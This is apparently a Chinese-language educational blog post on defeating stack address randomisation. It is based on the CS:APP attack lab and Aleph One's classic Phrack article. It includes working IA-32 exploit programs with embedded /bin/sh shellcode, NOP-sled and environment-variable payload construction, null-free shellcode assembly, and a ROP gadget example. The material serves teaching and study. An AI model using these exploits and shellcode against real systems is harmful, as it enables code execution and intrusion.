栈帧地址随机化是地址空间布局随机化(Address space layout randomization,ASLR)的一种,它实现了栈帧起始地址一定程度上的随机化,令攻击者难以猜测需要攻击位置的地址。
第一次遇到这个问题是在做cs:app3e/深入理解操作系统attacklab实验的时候,后来在做学校的一个实验的时候也碰到了这个问题,最近在看一篇“上古黑客”写的文章的时候又碰到了这个问题,所以写一篇博文总结一下我了解的两种对抗思路。
1. NOP slide
注:以下环境基于Linux IA-32
第一种思路是NOP滑动,也称为NOP sled 或者 NOP ramp,是指通过命中一串连续的 NOP (no-operation) 指令,从而使CPU指令执行流一直滑动到特定位置。
使用前提:未开启栈破坏检测(canary)和限制可执行代码区域。
很多时候我们是把注入的代码放在存在溢出问题的缓冲区中的(例如一个execve指令),然后将缓冲区所在栈帧的返回地址淹没为缓冲区的起始地址,这样回收栈帧返回时%rip就会转向到缓冲区的位置,随后开始执行我们注入的指令。如下所示,其中S代表我们注入的指令,0xD8代表了buffer的起始地址:
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack
而问题就在于在地址随机化的情况下我们需要完全准确的猜中buffer的起始地址(下文中使用“命中”这个词代指),而这是非常低效的——我们可能要成千上万次才能发生一次命中。究其根本原因就是必须命中一个点,如果我们能够将命中范围扩大,命中的几率也会上升——这就是我们插入大量NOP指令的原因。大多数处理器都有这个“null 指令”,它除了使%rip指向下一条指令外没有别的用处,通常用来进行对齐或者延时。如果我们将注入的代码放在buffer的高地址处,低地址处全部放上连续的NOP指令,这样我们只需要命中低地址的任何一个ROP指令,最终都会滑动到注入的代码部分,如下所示,N代表NOP,S代表代码部分,0xDE为buffer的低地址中的任意位置。
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack
演示代码:
vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]); /* 读取第一个参数的内容保存到buffer中 */
}
exploit.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]); /* 猜测的偏移地址 */
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4) /* 先将payload全部填满刚刚get_sp() - offset猜测出的地址,随后再填入NOP和shellcode */
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++) /* 先填入NOP指令,为payload的一半大小 */
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++) /* 再填入shellcode */
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash"); /* 设置环境变量并打开新的shell环境,该环境下会继承EGG这个含有我们构建的payload的环境变量 */
}
攻击:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
第一次即成功命中 ; )
1.1 Small Buffer Overflows
有些时候存在溢出漏洞的缓冲区很小,我们不能完整的注入攻击代码,或者说能够注入的NOP指令很少,命中的概率还是很低。但是如果我们能够更改程序的环境变量,可以采用将payload放在环境变量的方法绕过限制(将返回地址改成该环境变量在内存中的地址。
当程序启动时,环境变量存储在栈的顶部,启动后调用setenv()
设置的环境变量会在存放在别处,一开始栈是这个样子:
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
我们要做的就是使得一个新的shell环境下新增一个包含攻击payload的环境变量:
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]); /* 环境变量中存放payload的空间大小 */
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset; /* 猜测环境变量存在的地址 */
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4) /* 将buffer中完全填充为猜测的环境变量的地址 */
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) /* 将环境变量设置为NOP+shellcode */
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4); /* 设置环境变量, 一个是待会作为参数的RET,另一个是RET要命中的EGG */
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
攻击
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
成功命中$EGG ; )
1.2 IP relative addressing instructions
刚刚上面讲到了如何将执行流转到我们注入的攻击代码处,但是在实际使用时又会产生一个新的问题:如果攻击代码需要使用绝对地址怎么办。我们可以利用JMP和CALL这两个使用%rip相对地址寻址的指令获得对应位置的绝对地址,由于JMP和CALL指令不需要知道目标的绝对地址,而CALL指令执行的时候会将下一条指令的绝对地址存入栈中,我们就可以结合JMP和CALL及POP指令获得绝对地址。如下所示,我们要获得ssssss("/bin/sh")对应的绝对地址,JJ代表JMP指令,CC代表CALL指令,执行顺序用(1)(2)(3)标出:
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack
对应的伪代码如下:
jmp offset-to-call # 2 bytes
popl %esi # 1 byte 将刚刚push的"/bin/sh"的绝对地址取出
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes execve(name[0], name, NULL);
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes exit(0)
call offset-to-popl # 5 bytes 将执行流转到第二行的pop处,并把高地址的"/bin/sh"的绝对地址push进栈中
/bin/sh string goes here.
计算偏移量,得到最终的payload:
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
1.3 Avoid null bytes
很多时候我们的输入都是从终端输入,程序使用scanf等等函数接收输入。如果我们指令中含有null ’\0'这样的字节,就可能会发生截断问题,导致payload后部分输入不能被读入,这个时候就需要给payload中的指令做一些替换,例如:
替换前: 替换后:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
转换之后的payload:
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes
2. Return-Oriented Programming
注:以下环境基于Linux x86-64
第二种思路简称ROP攻击,是代码复用技术的一种。 思路是将执行流转向内存中存在的机器指令,这些指令可能是该程序本身包含的.text处的指令,也可能是各种库之中的,虽然内存中几乎不可能存在完整的攻击指令,但是我们可以找到很多指令片段(称为"gadgets"),其中每一个gadget的最后都是ret指令,所以最后会返回到我们控制的栈中指示的下一个gadget的地址处,依次将所有栈中指示的gadget执行一遍,通过这些"gadgets"的组合,我们就可以达到完整攻击的目的。ROP可以绕过栈帧地址随机化、限制可执行代码区域、代码签名等安全措施。
使用前提:未开启栈破坏检测(canary)。
攻击方式如下所示,其中栈由上向下生长(c3是ret指令):
有人可能会问,即使我们能够利用现成的指令, 但是一些特定的指令还是可能没有,例如在返回前popq %rdi(不是callee saved)这样的指令就很难存在。实际上,我们不仅可以使用“现成”的“完整”指令,还可以将一个长的指令拆开,利用其中分解出的指令。举个栗子:
我们在内存中找到这样一个函数
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
看起来这个函数的功能对我们的攻击没什么用,因为他是将一个特定的常数赋值给指定的内存块。
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
但是,如果我们将这个指令拆开,查找指令表:
可以发现48 89 c7可以对应到movq %rax, %rdi,接着也是一个c3 ret指令。所以我们就可以使用这个gadget了,它的功能是将%rax赋值给%rdi。需要注意的是这个函数的起始地址为0x400f15,我们的gadget从第四个字节开始,所以我们在栈帧中给这个gadget的地址应该为0x400f18。
寻找gadget的开源工具网上有很多,大家可以找找。
参考:
- Smashing The Stack For Fun And Profit 这是Phrack上的一篇古老的文章,写于1996年,文中有一些方法和操作已经过时了,但是思路很好。另外,Phrack真的是一个很好的资源地,以后有时间会多多翻译的。
- Attack Lab Writeup CMU的深入理解计算机系统实验课指导。
-
putenv() and setenv() 关于
setenv()
和putenv()
的区别